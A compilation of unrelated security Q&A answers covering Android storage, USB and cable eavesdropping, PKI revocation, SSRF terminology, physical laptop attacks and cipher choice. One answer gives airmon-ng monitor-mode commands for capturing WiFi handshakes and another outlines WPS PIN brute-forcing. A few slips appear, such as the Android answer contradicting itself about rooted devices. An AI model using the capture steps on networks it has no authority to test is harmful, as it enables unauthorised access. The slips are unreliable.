Android supports the beautiful concept of Application Sandbox, such that all the application run as a unique user and in its own sandbox. The local data storage in a non-rooted device for non-debuggable applications is normally not accessible. However, if the device is rooted the concept of application sandbox collapses and the installed application can run as a "root" user and can, therefore, access the data stored by any other application in their private directory(/data/data/package-name)

Storing the token as plaintext in the local data storage(SharedPreferences) is not a secure option since the same can be easily accessed from a non-rooted device. It is recommended that the token should be encrypted using secure encryption algorithm and secure implementation in the local data storage.

Use secure encryption algorithm such as AES-GCM-256 or ChaCha20-Poly1305 etc.
Use PBKDF2 for key derivation.
If required store the encryption key in the Android Keystores.


These are just some of the possible USB attack vectors: 29 Different types of USB attacks.

A mouse alone is unlikely to be an attack vector. A mouse logger is redundant with screen capture. However, as @domen hinted in the comment, there's really nothing special about the mouse-shaped device that will force the device to be recognised as a mouse. A mouse shaped device can identify itself as anything, including as a daisy chained device for which one of the connected device is a mouse, but also provides another, more malicious service.

With that said, hardware based attacks like USB attacks, while not unheard of, are fairly uncommon. In practice, there just aren't that many known instances of such attacks, unless you work for the NSA or a company with known regular history of corporate espionage, the chances to most people of being targeted by these kind of attacks are fairly slim.


That is the correct behavior.  In the case of client-side JavaScript, it is by design that the script source is sent to the client to be executed.  So, the fact that you can manually browse to the URL for the script file is irrelevant.  It gives you no more access than the application intends for you to have.

A source-code disclosure vulnerability is when the client can access server-side source code that it should not by design need or be able to access, such as PHP or ASP.NET source code.


Okay friend, here's some notes:

As for the handshake problem, from experience, it might be the following:

You're not close enough to the router, there is a chance that you'll not capture the handshake if the client is too close to the AP and the monitor mode device is relatively far.
A hardware issue, your network device is old and not compatible, so it can't capture packets from another protocols. For example if your device running 802.11g and the network is 802.11n

Solution: First, try to capture the handshake from different physical positions, if it doesn't work, try another WiFi device.

Note:

Some answer said to kill processes that interfere with airmon-ng. Don't use the command airmon-ng check kill because you'll stop the network-manager application.

Don't use the previous command to fix the fixed channel -1 error, instead, use the following commands when starting monitor mode:

airmon-ng start wlan0
ifconfig wlan0mon down
iwconfig wlan0mon mode monitor
ifconfig wlan0mon up


Does the Google Chrome Android Application encrypt data

Normally, it should not. The websites would not know how to decrypt it, so it couldn't. But Chrome for mobile has a compression thingy that is supposed to save on mobile data and I believe that may be encrypted (so it would be encrypted when it is turned on). In that case, the data saving compression feature may be acting as a sort of VPN, encrypting even HTTP up to Google servers.


Spying on insulated cables (electromagnetic/induction field)

Can This be done?

I would say yes, but with some caveats. Depending on the cable and the data, you would need some very expensive / sensitive equipment to pull this off. To me this is a similar issue to the old Van Eck Phreaking (http://en.wikipedia.org/wiki/Van_Eck_phreaking).

Intel has some tech to circumvent this kind of attack:
http://en.wikipedia.org/wiki/High-bandwidth_Digital_Content_Protection

This whole line of inquiry remind me of a time I was trying to middle some RAM with a logic analyser. Ooops - RAM is way too fast for most logic analysers. Or maybe if I had a fast enough logic analyser? Wouldn't be cheap!

Can the danger be totally avoided?

In most cases yes. Just encrypt absolutely everything. There's no danger of people reading your cables if everything you send is AES256. And you protect your keys well...

Cable by Cable

Fiberglass - Encrypt! You should be doing that anyway.
USB - The attacker would need to be very close. Improve your physical
security. Also Encrypt!
HDMI - Encrypt if you can. I can't see a situation where you would want to send sensitive data ever an HDMI cable.
Routers - You can 802.11? Like wifi? That's it's own security issue. Use HTTPS. Also known as: ENCRYPT
3G/Other cellphone signals - No idea if and when these are encrypted. You may or may not be at the mercy of the telcoms for that one.
Reading the EMF from your cellphone's components - If someone could pull this off, I'd be very amazed. I doubt this is possible from a distance. Maybe if they took apart your cellphone.
Your T.V - If you mean the cable connection, that depends on whether your cable company is encrypting the signal, and whether your cable box encrypts signals sent upstream. Turns out they do: http://en.wikipedia.org/wiki/Television_encryption#Cable_and_early_satellite_television_encryption - but I think it's worth checking out sometime ;)
If you mean the EMF from your T.V Screen, yeah an attacker can grab that. See Van Eck Phreaking above.
USB devices which you wouldn't normally encrypt (like a keyboard) - The keylogging application might be possible. If I were an attacker, I would first look for wireless keyboards and break the protections on that. The thing to overcome here would be signal to noise ratio. I'm not saying it's impossible. However, if you were close enough to actually do this kind of attack (you'd basically have to be within a few feet) then there are other ways. I think you can buy USB cables that are have shielding, so that might mitigate the attack. I personally think there are just better ways to read keystrokes if you are that close. Shoulder surfing ya know?


If the hash size is smaller than the plaintext size, as is usually the case, of course not. No amount of salting can ever restore what is no longer there.

If the two sizes are the same, but the hash function is not bijective, then again it is not always possible. Given that H = h(s?, v1) = h(s?, v2), knowledge of H and s1 will not give the certainty that v1 and not v2 is the value you seek. On the other hand, either value might work as well for your purposes. This phenomenon is kept to a minimum in hash functions because reducing the output space increases the risk of collisions, which is bad.

In the remaining case, when your hash function is actually an encryption, then depending on the salt values yes, this might happen - but the key here is that you would not know. The amount of work required to discover a value s*, such that h(s*, h(s?, v)) gives back v for that specific value of v, is of the same order of magnitude of the brute force discovery of v in the first place, or worse. Basically you have the hash H, and try all possible s*'s until h(s?, h(s*, H)) = H. When you do, then h(s*, H) = v .

There is a last sub-case, when there exists a function g(s?) which will output exactly the desired value of s*. That function is known as a backdoor and a hash function allowing a backdoor is considered badly broken; using this g() it is trivial to invert the hashing.

To make a simplistic example, you will probably know those mind tricks in which you're asked to get your age, multiply by some number, twist the digit in some way, and get a number which is your age "hashed" and has apparently no relation with the original number. Yet the trickster, upon hearing this hash value, is immediately able to get your age back.


SCADA, ICS Specfic Testing Tools and Methodologies

Obviously, I recommend the SamuraiSTFU project for study, including the Penetration Testing with SmartGrid & SCADA training. Took mine from Justin Searle last week.

What I learned is that domain knowledge in several areas is key.

Security posture audits, e.g., BITS FISAP, CIP CVA, IT COBIT, COSO, VisibleOpsSec. Typically, the cliche CISSP fits well here as a prerequisite (i.e., 5 years of experience in information security management and risk management with the capability to be driven by continual learning/improvement and possessing a strong ethical framework/backbone)
Network capture assessments (the new Syngress Press title, "Applied Network Security Monitoring" and the past summer's release from NoStarch, "The Practice of Network Security Monitoring" are great places to start as they explain how to implement SecurityOnion, an Ubuntu distro specially designed for these engagements). Reliable, repeatable FPC (e.g., Netsniff-NG) to gather Tenable PVS and PRADS data that feed Squert might be all that is necessary, although certainly you can take this much further with the CERT NetSA Security Suite, NetWitness, Lancope, Arbor, 21CT, et al
Network penetration testing (many books and resources on this subject, particularly popular and relevant is Offensive Security -- the team that makes Kali Linux). CAVEAT EMPTOR: you probably want to convert any production networks to lab networks by using VMware Converter or similar. Testing on live, production industrial control or automation systems is contraindicated
Web and application penetration testing (many books but I usually recommend TAOSSA -- the Art of Software Security Assessment -- and resources such as OWASP). In my opinion, it does not matter which tools you use but if you plan to fault inject then you should be an expert at OWASPBWA and Web Security Dojo (e.g., Checkmarx, Contrast Security, Burp Suite Professional, NTOSpider, Netsparker, Appscan, sqlmap, et al) and if you plan to fuzz then you should be an expert on the OSCP/OSCE labs and CertifiedNOP (e.g., Zulu, GPF/EFS, PFF, ImmDbg, Sulley, gdb, MSF, et al). By "expert", I mean that you should be able to find 95 percent or more of the whole-system vulnerabilities and be able to take them to full exploitation (typically about one thousand practice sessions per target). Additionally, I should note that some platforms and frameworks require even more specialized knowledge and tools (e.g., mobile apps, Flash/Silverlight, Ajax, Web Services, etc)
Embedded systems and Radio frequency reversing and penetration testing (to get started you might want to check out the Bus Pirate for serial sniffing or RTL-SDR/HackRF plus GNURadio/RFCat for RF MIJI -- meaconing, interference, jamming, and interception). Note the most difficult piece of this process is the actual hardware acquisition. RTU, PLC, and similar device testing can be a budget sink. Carefully select a sampling of devices by putting them into a lab (as described under Network penetration testing above) and never putting them back into production (i.e., an "early retirement")
Firmware reversing and penetration testing (strong knowledge of cryptography as well as self-modifying/integrity-checking code is usually necessary -- tools such as binwalk, IDA Pro or other disassemblers/decompilers, and related tools/resources)


The certificate revocation list (CRL) is a list of revoked certificates. It does not contain the certificate itself but mainly the serial number. It is signed directly or indirectly by the CA which issued these certificates. The CRL can be very big because it can contain lots of revocations. To check if a certificate is revoked the client must download the list (or have a recent copy) and then lookup the serial number of the current certificate in the list. If it is not found there it is not revoked.

The location of the CRL for a specific certificate (i.e. where to download) is specified in the certificate itself as CRL distribution point (CDP).

Because CRL's contain information for lots of certificates they are often large and thus not suitable for a fast revocation check. The Online Certificate Status Protocol (OCSP) instead checks only a specific certificate and asks the OCSP responder if this certificate was revoked or not. The OCSP responder quickly returns this specific information which is again directly or indirectly signed by the issuer of the certificate. For even faster revocation check the server can regularly retrieve a current OCSP response and send it to the client within the TLS handshake. With this "OCSP stapling" the client does not need to explicitly ask the OCSP responder for revocation information because the client has already these information.

  Can we use a CRL without configuring OCSP?

Yes.


Can spambots access pages available to only registered, authenticated users?

There are a lot of individual points here. First, let me clear up a few things:

I personally, consider email addresses Personally Identifiable Information (PIN) and thus needing to be protected. My personal rule of thumb is that if I am asking a user for it, then it is not already known and thus needs to be protected.
Obfuscation may not always prevent data leakage (emails) but may only slow down or slightly deter the process (but only if implemented properly)
I assume you have a secured web application and are only asking about if you can reasonably assume safety on pages where users have properly authenticated.

The quick answer is yes (assuming the web app and auth have been implemented properly).

There are important things to consider though:

Automated 'spambots' can and do infiltrate many systems with authentication mechanisms. For instance, your app as defined merely validates that a registered user has a valid email address, this is easy enough to work around.
Make sure you implement your authentication processes properly. IE make sure your process to check for the 'user object' is cryptographically secure. without more details on how you do this, I cannot say for certain.

A simple alternative to displaying real email addresses of the users would be to use an email relay service (like craigslist does) or an internal messaging system.


I'm interested in increasing my chances of recovering the machine in the event that it's ever stolen.

I like Rory's answer. However, I think there are three risks involved here: the risk of losing your hardware, and the risk of losing your data, and the risk of your private data being exposed. Solutions which attempt to recover the machine are only solving one risk.

The risk of data loss can be mitigated by a good data backup system.

The risk of data exposure may be mitigate by good data protection: proper access controls, solid encryption, and good keys or passwords. The risk of data exposure may also be mitigate by destruction: remote wiping, conditional wiping, timed expiration. The final risk is the loss of your hardware.

When you have risk there are three options: mitigate the risk, assume the risk, and transfer the risk. You have already thought of some way to mitigate the risk of theft. However, you haven't covered a few of the most effective, which tend to be operation rather than technical.

Never leave your laptop unattended. If a thief has no opportunity, they can not steal your laptop.

When you are not using your laptop store it securely. At least use a locking cable attached to something unmovable. Or keep it in a locked drawer or cabinet. If you are not in a familiar place you can lock it in the trunk of your car.

Mark your laptop with your name in a way that is difficult to remove. You can have it etched into the case, or failing that large letters in permanent marker. It makes it harder for a thief to sell Chris's laptop, and if you put contact information as well it will help get it returned if you lose it.

Another way to deal with risk is assuming the risk, but I don't recommend doing that.

The final way to deal with risk is to transfer it. This is usually done by buying insurance. You can buy laptop theft insurance to cover the value of your laptop. If this is a personal laptop and you have homeowners insurance you may already be covered under personal property, or you may be able to add coverage to an existing policy for a small fee. I don't know insurance very well but I think renters insurance may act similarly to homeowners insurance. In any case you can check with your insurance agent.


How do I find a digital (non-WiFi) baby monitor with an encrypted signal?

Find a baby monitor which uses Bluetooth version 4.2, as older versions may be using much weaker cryptography. Version 4.2 uses strong encryption with the AES cipher, a block cipher with no known practical attacks against it, in CCM mode in order to ensure data integrity. For key exchange, it uses P-256, a strong ECC algorithm approved by NIST which provides the equivalent of approximately 128 bits of classical security. Note that this may not protect against active attackers who perform a man-in-the-middle attack, depending on what pairing mode is used, but it should protect from passive attacks.


Each handshake message has a header, which contains its type (as a handshake message) and length. This header is in addition to the record header. See section 7.4 for a description of the header: one byte for the message type, and three bytes for the message length.

In the case of the Finished message, the header should be 14 00 00 0C (in hexadecimal), with 0x14 meaning "Finished" and 00 00 0C encoding the message contents length (12 bytes). Therefore, what is encrypted with GCM is actually 16 bytes, not 12. GCM adds the 8-byte explicit nonce (which is combined with the 4-byte implicit nonce, yielding the 12-byte nonce that raw GCM actually needs), and the 16-byte authentication tag, for a grand total of 40 bytes, as you observe.

Of course, this record is encrypted, so you don't see its contents; in particular, Wireshark will not show the handshake message header. All it knows from the record header is that the record contains "some handshake data".

As for your second question, it is possible that the client is not content with the handshake and wants to start a new one, immediately sending a ClientHello just after the Finished. Two handshake messages can be merged into a single "handshake" record.


Why can't I open the Chrome settings page from JavaScript?

Thats because the good folks at Google has decided that letting any webpage pop up the settings page would be dangerous. So they disabled it for the users security.

So what could a bad guy do with this? It could mainly be used to trick visitors of a site to change settings in a way that would benefit the attacker, e.g. reactivate insecure plugins or somehow lowering security levels. The non expert might not even understand that they are changing the browsers settings when they are on a page that popped up from some random website.

As a comparison, doing window.open("about:preferences"); from Firefox will just give you an error.

And really, what's the legitimate use case for doing this? I see no reasons for browsers to allow it.


How should I validate an API key for a web service deployed via iframe?

Referrers can be spoofed, but only by the user-agent.  Another website embedding an iframe with the API key wouldn't be able to control the referrer of its users.  So if your goal is to prevent sites from being able to clone API keys, then the referrer check will generally work.

Keep in mind that the referrer is not sent if going https -> http, and some users might have browsers set not to send the referrer.


Why don't WiFi networks tell you that you have the wrong password?

Normally, behaviour like this is implemented to prevent Side Channel attacks.
The different behaviour of getting a message that is completely invalid and one that is partly correct can be exploited to recover the key.

This allows for a very hollywood-style decryption; recovering the high-order bytes first (here RSA)

In WPS this type of attack allows you to brute force the 8-digit key in max 1.1*10e4-2 tries. one digit is a checksum, so this is known. The access point returns a different error if 3 digits are correct. So this is bruteforced first in max 999 tries, leaving max 9999 tries for the rest of the PIN

However:

The RFC protocol specification of EAP, a widely used authentication, does not forbid the signaling of failed authentication
And
the IPhone does show this specific error


Is there any added security/vulnerabilities if you allow a "trusted-party" to vouch you are legit, if you were locked out of your account?

Trusted party is exactly that. Someone who is trusted when he identifies you.

The most basic vouching happens when you go in front of the HelpDesk and tell them that you forgot your password and are now locked out of your account. Then the IT staff vouches that it's you and resets your password.

Now suppose that no domain admin was available when you went there, and you had to go after explaining your problem to their intern. Then the intern would be vouching that the request to change your password indeed came from Lasagna and not by an imposter.

Another common case would be that such requests have to go through a ticketing system. Since you can't open a ticket while locked out, another user (eg. your boss or any employee) opens the request for you, so they are vouching your request.

In fact, it is quite common in physical security that an organiser has to get out for vouching someone that is stopped by security trying to get into the location.

  If someone is locked out of their account so much that they cannot use their email, or even the backup email for their main email, then how would their password be reset to begin with? Would it be given by this "Trusted source" to another email, or possibly over the phone/text (if friend).

The trusted might provide a new email. And yes -assuming the request is indeed genuine- he could be given the new temporary password. The password should be marked as requiring a change on next login, anyway.


I'm an IT consultant. Should I discourage a client from telling me his password?

The problem isn't with this situation in particular. Let's assess the situation here:

You're a trustworthy person to them
The password is very likely securing trivial data

Giving you the password isn't that big of a deal in this case. The problem (like you stated in your question) is that getting him in the habit of giving out passwords.

I'd definitely go with plan B. Why?

It's the best compromise between security and convenience in this case.
It'll teach him about not sharing password, especially if the lesson is coming from a trustworthy person to him.
It'll make you look even more professional and shows your interest in your client's security.
You don't know, he might spread the word about this situation and in a way you'd be contributing to a better understanding of security (in this kind of situations) in his circle of friends/family.

As for your second question, I don't think I'm the best person to answer this, but I'd say no. If something takes you 2-3 minutes and it's obviously trivial compared to another task (fixing whatever is wrong with the computer) don't actually bill the client for the extra 3 minutes of work. It makes nobody look good.


Are there any flaws in two step (RSA + AES) key exchange and secure channel setup?

Your concept looks mostly good, but I see two flaws in it:

Not cryptographic authentication: I would suggest that in step 2, instead of sending the credentials you just send a user identifier and derive a MAC key for the user's secret which you use to authenticate the remaining data. This would reduce the possibility of someone tampering with the data and furthermore improve the security by not having to send any secrets.
No forward secrecy: If this is an actual problem depends on your scenario but since you stated that the RSA private key is hard coded in your software, I assume it could be one (especially since your current plan is to send some secret credentials in step 2 always encrypted with the same key). Instead of sending an AES key in step 2, you could send half a Diffie-Hellman key exchange message and return the servers key exchange message in step 6 along with the encrypted response.

Not really a problem but still noteworthy: I do not see a point in creating the IV on the clientside and transfering it encrypted. An IV is not a secret thing, it could just as well be created on the server and sent along with the message in step 6 in cleartext.


What does having an internal two-tier PKI protect against?

Not sure about the particular implementation in Active Directory, but in general X.509 signing it allows for much easier recovery from a compromise.

Its assumed that an on-line CA is much more vulnerable than an offline one. So, let's say your online CA is compromised, and its private key is potentially copied.

You revoke the CA certificate. You go ahead and generate a new keypair, certificate, etc—you have a new online CA now.

Your next step depends on if you have an offline CA or not:

If you have an offline CA, you use your offline CA to sign your new online CA certificate. Fairly easy. More secure, too, as its easy enough you'll probably actually do it.
If you do not have an offline CA, you go install your new root CA certificate on each and every client machine, phone, tablet,…. (Actually, you don't: you set up an offline CA, and install that instead. Because you learned not to repeat this mistake!) Less secure, because you're going to do your best to avoid this work. ("Are we really sure the private key was stolen?")

Finally, you sign new certificates for the servers, and install them (possibly including the CA chain).

So, in summary, if you have an offline CA, you only have to re-issue certificates for authenticating side (typically, only the server). If you don't, not only do that, you get to install your new root CA everywhere.


How easy is it, really, to be hacked as an average user?

tl;dr - It is incredibly easy to be hacked as an average user. It is also rather easy to protect yourself online. Unfortunately most average users don't see themselves as a target so do not protect themselves appropriately. It doesn't matter if you are not a CEO of a large company, or have very little in your bank account - your PC is a target even if you aren't. Many acquaintances of mine who espouse the virtues of not running antivirus/antimalware etc state that they have never been hacked, but closer analysis shows that all of them have. They just didn't know it or care! Many were part of botnets that could be part of attacks on others. Some just collected account details...

There are various studies posted online which are very scary reading. The online myths page at MIT has these 3 classics (but read the whole page):

  Myth 1:    The internet is so huge; no one will attack my computer.

  Fact:  Hackers use automated tools that continually probe computers to find attack vectors. A new, unprotected computer installed on the internet will be generally be compromised within seven minutes.

-

  Myth 2:    I'll worry about security once someone finally tries to attack me.

  Fact:  Attacks are ongoing, day and night. Your system must have anti-virus software (to keep out bad/dangerous files) and have up-to-date system software in order to close newly-discovered security holes. Use the bigfix system to keep your system in tip-top shape automatically.

-

  Myth 3:    Firewalls and anti-virus software will fully protect my computer.

  Fact:  You must also update your system software for newly discovered security issues. Most of all, though, you must keep your passwords and personal identity information confidential except where they are supposed to be used. Otherwise, your most critical information is at risk. Finally, even frequently upated anti-virus software only protects against known viruses: new malware can sneak by if it hits your computer before the next update.

In terms of how long it takes, this page from SANS is a good starting point:

From the page:

  The survivaltime is calculated as the average time between reports for an average target IP address. If you are assuming that most of these reports are generated by worms that attempt to propagate, an unpatched system would be infected by such a probe.


Processing Exceptionally High Volume Singular Flows

First thing I would look into is switching to use PF_RING sockets.
If that's not sufficient then it's probably a job for dedicated network packet broker hardware.  You will want to look at vendors like Arista, Gigamon or Ixia.  Some high-end switches may have the functionality built-in as well.
If you are really and truly CPU-bound by single flows and not total flow volume then short of buying CPUs with extreme single-core performance you are probably out of luck with Zeek and will have to switch to e.g. a commercial flow processor that supports on-NIC hardware packet processing.


Let's begin by expanding the acronym: Server Side Request Forgery (SSFR).

It is nicely explained on this Acunetix page with detail (including vulnerable code and examples). They consider it an attack. OWASP also classifies it as an attack.

Now, the source of the confusion on whether something should be termed an attack or a vulnerability is that generally those go in pairs, and we talk about them very loosely. So we could both say:

Mallory performed a ssrf and dumped the password hashes.
There is a ssrf on this application that we need to fix

The first refers to a ssrf attack while the second to a ssrf vulnerability. This is common, you can swap SSRF with SQLi above and have the same result.¹ Actually, for every foo attack, you could refer to a corresponding foo vulnerability that would be defined as foo attack would work. The context disambiguates them on every case, so we go on doing that, even if it's not the most purist way to phrase it.

But simplifications aside, I would consider SSRF to be an attack. This is a Forgery, so it is actually an attack.

As described by OWASP:

  Attacks are the techniques that attackers use to exploit the vulnerabilities in applications. Attacks are often confused with vulnerabilities, so please try to be sure that the attack you are describing is something that an attacker would do, rather than a weakness in an application.

Even though we would talk about a SSRF vulnerability, strictly it is being vulnerable to a SSRF attack. The vulnerability itself would be a lack of validation. Of course, how exactly we categorize it will depend on the exact definitions we use for both attack and vulnerability.

According to CISSP a vulnerability is

  The absence or weakness of a safeguard in an asset that makes a threat potentially more likely to occur, or likely to occur more frequently.

ISO/IEC TS 17961 C Secure Coding Rules defines it a

  set of conditions that allows an attacker to violate an explicit or implicit security policy

MITRE says

  A "vulnerability" is a weakness in the computational logic (e.g., code) found in software and some hardware components (e.g., firmware) that, when exploited, results in a negative impact to confidentiality, integrity, OR availability.

We need some stretching to fit the “SSRF vulnerability” into these definitions, as it is not a weakness, but the consequence of the weakness: a SSRF attack would work.

Thus, SSRF is the name of an attack, not a vulnerability, and sensu stricto we should talk about being vulnerable to a SSRF attack, not having a SSRF vulnerability.

¹ In fact, we have an exact duplicate of this question but referring to XSS instead of SSRF: Is XSS a vulnerability or an attack?


Confusing terminologies: Incident, alert, event, ticket

An event is something that happens that might cause a security problem; an incident is something that happens that does cause a security problem.


How could the hacker tamper with the 'configuration.php' file in my Joomla web server?

First of all, the 777 permission means that the configuration file you are talking about can be edited by any other user on the system. So basically, a hacker who compromises your server and gets operating system access has the required permissions to tamper that file.

A hacker can compromise your server and get system access simply by exploiting a vulnerable service running on your server, like old unpatched versions of Samba or FTP.

He could also exploit a vulnerability within your web server or your PHP installation to gain remote code execution privileges. As an example, take a look at this PHP CGI bug which can be easily exploited using the free open source Metasploit Framework.

Most likely, the hacker changed your configuration file by exploiting a vulnerability in your Joomla installation. By the time of this writing, the latest Joomla 1.5.x series update is 1.5.26. Is your Joomla installation fully updated?

If you want to trace the hacker's activity a good starting point would be inspecting your log files, assuming of course that the hacker did not cover his traces and tampered these as well.


Is a BIOS password enough to prevent someone from hacking into my laptop if they have physical access?

As far as I know, BIOS passwords are not secure in some cases (or most cases) because on some devices (or most devices?) they can be reset if you have physical access, by removing an internal battery, or tampering with the hardware in other ways (jumpers, replacing the firmware, etc.). For some devices if might be easier (for example for desktop computers that are easier to disassemble), for other devices it might be harder, but in the end if the attacker is skilled enough you are probably screwed.
FDE (Full Disk Encryption) protects you from threats where your data is stolen at rest, that is, for example, if you laptop is just stolen while it's turned off. It's not meant to protect you in other cases, and definitely not if the attacker has physical access.
With physical access, an attacker can try a lot of tricks, depending on their expertise and resources, and depending on what kind of physical access they have: if fully unrestricted (access at any time, for long periods of time) or somewhat restricted (access possible only at a specific time, or for short periods). There is definitely a lot of difference between a single hacker and an organized hacking group, or a government agency: the difference lies in their resources and expertise. Your geek friend might be willing to invest at most $100 to hack you, while a government agency will have no problems investing several thousands of dollars.
There are several tricks that might be used to hack your laptop. From flashing the firmware and replacing it with an infected one, to adding a hardware keylogger anywhere inside the machine (or even outside if it can be hidden). An interesting trick involves replacing your laptop with an identical copy that will transmit your keystrokes in real time. You will turn it on thinking it's your laptop, type your passwords that will be sent in real time to the attacker, and by the time you realize that it's fake you are already screwed.
How do you protect from physical attacks? Of course with physical security controls. In other words, you need to prevent attackers to be able to get near your machine. Some typical examples: alarm bells, gates and fences, locks, armed guards. Remember that not all security controls are worth being implemented, because they always depend on your specific threat model. I just lock my door and that's it, for example, but I'm not a wanted criminal that fears government agencies. If I was, I would probably hire an armed guard.


Why are there no software or services that detect Phishing Emails?

Most email services can and do detect malware and often times phishing emails in the form of a Junk Mail service.  There are standalone Exchange based services like McAfee Security for Microsoft Exchange (MSME) that you can custom tune for your environment to detect known phishing site links, etc.

However, you have to understand that anyone can create a simple site that grabs information from people when they enter the site at the drop of a hat.  There is no way to easily detect these "zero day-like" sites that popup constantly.  Your best defense against phishing scams is not so much in the product based solution as it is in the education of those you are trying to protect.  Teach people not to click on suspicious email links.  Disable JavaScript from auto-running on websites.  Disable the ability for people to run executables from websites allowing the system's AV to do it's job better.  Also disable auto-running of anything.

I'm guessing this isn't exactly the answer you were wanting, but unfortunately when it comes to security, this is the most appropriate approach.  But again, nearly all enterprise solutions either already provide some form of this security or you can install products like MSME to help weed out as much as you can.


When should user invite links (tokens) expire?

Should user invite links expire at all - if so, what would be a good expire time?

That is a question that doesn't have a general answer: it depends on the value of the resource you're protecting, who are the people receiving your invitations, how secure is the channel you use to transmit these invitations and what are the threats you're trying to protect against.

However, generally speaking, never-expiring invitations aren't a very desirable property: in most cases, it doesn't make much sense for someone to accept an invitation 10 years after it's been issued but it does open a (slight) security risk in the sense that very old, but still active, invitations will grow the size of the valid key space in relation of the total key space. In other words: an attacker trying out every potential key has more chance of finding a valid one.

Would it be a good idea to let users "extend" their invite

I can't think of any scenario in which this would be a desirable functionality: it's effectively the same thing as having unlimited lifetime for the invitation except that it's more complex for everyone (developer as well as user).


Authentication providers for applications with no internet connection

All security solutions will need to call a service of some kind since you need separation between the application and the security provider.

However, that doesn't mean they have to be on different physical servers and certainly not that they have to be on the Internet. If you have no network at all, your users won't be able to access the server so I'm assuming you have a local network with no Internet.

With only a single server, your options are limited and security will be limited too. The best option in this case will be a hardware security store. The security is offloaded to the hardware which ideally both stores keys and does the authentication processing.

Otherwise, local key servers will provide some measure of security but, of course, when active, they are susceptible to memory attacks.

Moving to multiple physical or logical servers is better, especially if the security server is isolated on it's own secure network since that reduces the attack surface.

All depends on the value of your data and the risk appetite you have.


Knowing when a hacked password is correct

There are two types of password cracking attacks: online and offline.
In an online attack, an attacker repeatedly tries logging in to the website, just like you would do when entering your username and password. The website can block the account after a certain number of incorrect attacks. The speed at which this happens is typically limited by the speed of the web application, so this is tens to hundreds of attempts per second.
In an offline attack, the attacker has somehow downloaded the database with password hashes to his own computer. To recover the plaintext password, they brute-forces the hash. They hash passwords and checks whether these matches the one in the database. This runs on the attacker's computer and the website is not involved in this process. This is the process in which a GPU may make things faster. However, this needs a vulnerability or leak that exposed the database with password hashes.


How can I list all self-signed certificates in my stores on a Windows client?

Try “cert:” PsDrive

This here will be human readable. And (thanks to the semicolon as the delimiter) it will also open nicely in Excel:

dir cert: -Recurse |
where {$_.subject -ne $null} |
where {$_.subject -eq $_.issuer} |
Export-Csv -NoTypeInformation -Encoding UTF8 -delimiter ';' -path selfsignedcerts.csv

Further reading

Great blog on this: https://blogs.technet.microsoft.com/scotts-it-blog/2014/12/30/working-with-certificates-in-powershell/


Using Username/Password to generate 'public' key for Encryption

I wouldn't recommend your scheme. It seems inefficient (having to create keys out of every username/password combination, just to find the origin), and unsafe, with the server generating private keys that get sent to clients. It's also vulnerable to replay attacks, since you're not protecting the underlying channel, though without seeing the rest of the details, it's unclear what that gets an attacker.

Why not just use SSL? It's meant for protecting sensitive information over insecure networks, is universally supported, and is likely to be safer than anything you implement.

If you need to store this data encrypted after the transfer, using a traditional public key scheme is certainly an option. There's no risk of someone snooping a public key, since they are meant to be public. As long as each parties public key is signed, either by eachother, or by some mutually trusted third party, then there's no risk of a man-in-the-middle attack.

tldr: Use SSL. If you need to store data after the transfer, use PGP.


Do US companies have citizenship requirements for security-related employees?

The only situation where such a citizenship requirement would typically apply was if the SE position was with a Federal Government contractor, and the position required a USG security clearance. Since those are granted to US citizens, a non-US citizen would be ineligible for it.

That being said, in the private sector, I know of no such requirement, other than to say that if one requires a US work visa, some companies may not have the ability or desire to sponsor a candidate for one, and would not respond to the application.


Are there risks of using the same OpenID provider for sites with different security levels?

The risk here is the online persona itself and what would result in social engineering attacks.  Let's say that you use google as the openid authenticator and have linked it to the stack exchange sites along with a collection of other sites.  Prior to this, you may have used the same username and everything else across all sites but it was all a loose association which people would not use to trust that "mgibsonbr" is actually you.  Well now people can see on sites such as stack exchange, reddit and shodanhq, mgibsonbr is linked directly to your gmail account and they trust that they are actually talking to you.

Now lets say someone compromises stack exchange and can impersonate any user.  Big deal right?  all they can do is ask or answer questions and people will think that you didn't understand what rm -rf / would do.  Well what if they started applying for jobs as you on the Careers 2.0 site?  Employers are going to believe that they're actually speaking with you because the Careers 2.0 site is directly linked to your email address.  Maybe they'll even get a job and be employed as you at some company.  Or maybe another site you linked to your openid allowed you to apply for credit cards.  Now someone has credit cards in your name.

The idea is that you would not want to link your open id with any site where posing as you could do any real damage.


Is Spoofing a CA signed certificate possible?

The handshake includes these (rough) steps:

The server sends its public key.
The client encrypts setup info with that public key, and sends it back to the server.
The server decrypts the client's submission and uses it to derive a shared secret.
Further steps use that shared secret to set up the actual encryption to be used.

So the answer to your question is, since an imposter can't perform step 3 (since it doesn't have the private key) it can never move on to step 4.  It doesn't have the shared secret, so it can't complete the handshake.


Some folders in the PATH variable are writable by anyone. Dangerous or not?

How dangerous is it if I don't use Python?

Your usage of Python is irrelevant to the risk.

The PATH variable provides a means to invoke programs without having to type in their full path. While Unix people would consider putting a publicly writable directory (or .) in the PATH variable a cardinal sin. The risk is that an attacker can substitute the program a user intends to run with their own evil code and thereby trick the victim into running it.

On MS Windows the risk is lower but its more difficult to mitigate:

most people don't use command lines in MS Windows
usually programs are started from the explorer which uses a full path to the executable
MS Windows always searches the current directory first before checking in %PATH% for an executable (i.e. the risk is baked into MS Windows by design)


Knowing that most UTM (Unified Threat Management) or NGFW(Next Generation Firewall) may include SSL VPN capability, I'd say it will make sense to add place you appliance behind the firewall... That way, your firewall rules will be enforced before a user can authenticate via your SSL VPN...

SSL VPN will encrypt and create a tunnel for your data...so the firewall won't inspect layer 7 information : see my previous question here -> Could encryption become a security breach?

Therefore I believe you want the firewall to do it's job before it allows encrypted traffic of you SSL VPN thrafic (I believe your firewall will know you allpliance right ?)....


What are the best ciphers in terms of performance for SSH tunnel?

The realms of cryptography are plagued with challenges including how to get the best security with the least amount of wait time for the user.

Fundamentally, encryption speed comes down town a couple of factors.

How many rounds of encryption are required.
How much data is required per round.
Block Cipher vs. Stream Cipher.

When discussing symmetric key algorithms, there are two categorical types, block and stream. In fact, you mentioned two in your question: ChaCha20 which is a stream cipher and AES which is a block cipher. The difference comes down to the  way the encryption is applied to data (bit by bit or block by block). In the case of ChaCha, it streams data in specific block sizes. Due to the fundamental differences in operation (and light research) ChaCha20 is not based upon AES and wont likely have improved performance from Intel's NI technology.

For more information on ChaCha20 vs AES see here:

https://crypto.stackexchange.com/questions/34455/whats-the-appeal-of-using-chacha20-instead-of-aes

Also related to GCM vs CTR:

https://crypto.stackexchange.com/questions/14747/gcm-vs-ctrhmac-tradeoffs

